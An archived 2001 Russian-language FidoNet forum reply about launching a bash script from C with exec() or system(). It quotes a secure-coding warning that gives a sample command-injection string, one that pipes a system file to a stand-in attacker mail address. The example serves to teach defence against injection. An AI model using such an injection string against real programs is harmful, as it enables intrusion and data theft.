|
|
ru.linux- RU.LINUX --------------------------------------------------------------------- From : Vladimir Mosgalin 2:5030/1041.17 28 Dec 2001 23:35:18 To : Igor S.Kozhukhov Subject : help --------------------------------------------------------------------------------
27 Дек 01 13:38, you wrote to All:
IK> как из программы на Си запустить файл на ислонение - скрипт на bash
Любым способом. #!/bin/sh в начале гарантирует, что exec () его распознает
соответствующим образом. А если system () - так вообще без разницы, это и будет
запуск sh какого-нибудь, указать ему только на скрипт. Hо это конечно хуже.
Только учти, что
=== Cut ===
exec() (в! ) Есть опасность запустить не совсем то, что нужно :)
Используйте execl, execle, exect или execv, c указанием полного пути
до запускаемой программы. Если аргументы для функции формируются из
данных принятых от пользователя, эти данные нужно подвергнуть
жесточайшей проверке и удалению всех воспринимаемых системой служебных
символов, иначе пользователь может задать что-нибудь подобное: "user ;
cat /dev/passwd |mail hacker@hacker.org" и таким образом запустить
любую нежелательную команду. Особое внимание следует уделять при
вызове этой функции из CGI программ.
system() (в!!!!) Лучше вообще не используйте ! см. exec()
=== Cut ===
Vladimir
... I wanna live, I wanna love, but it's a long hard road, out of hell...
--- Why use Windows, since there is a door?
* Origin: [...CENSORED...] (2:5030/1041.17)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
Архивное /ru.linux/45283c2ccb53.html, оценка из 5, голосов 10
|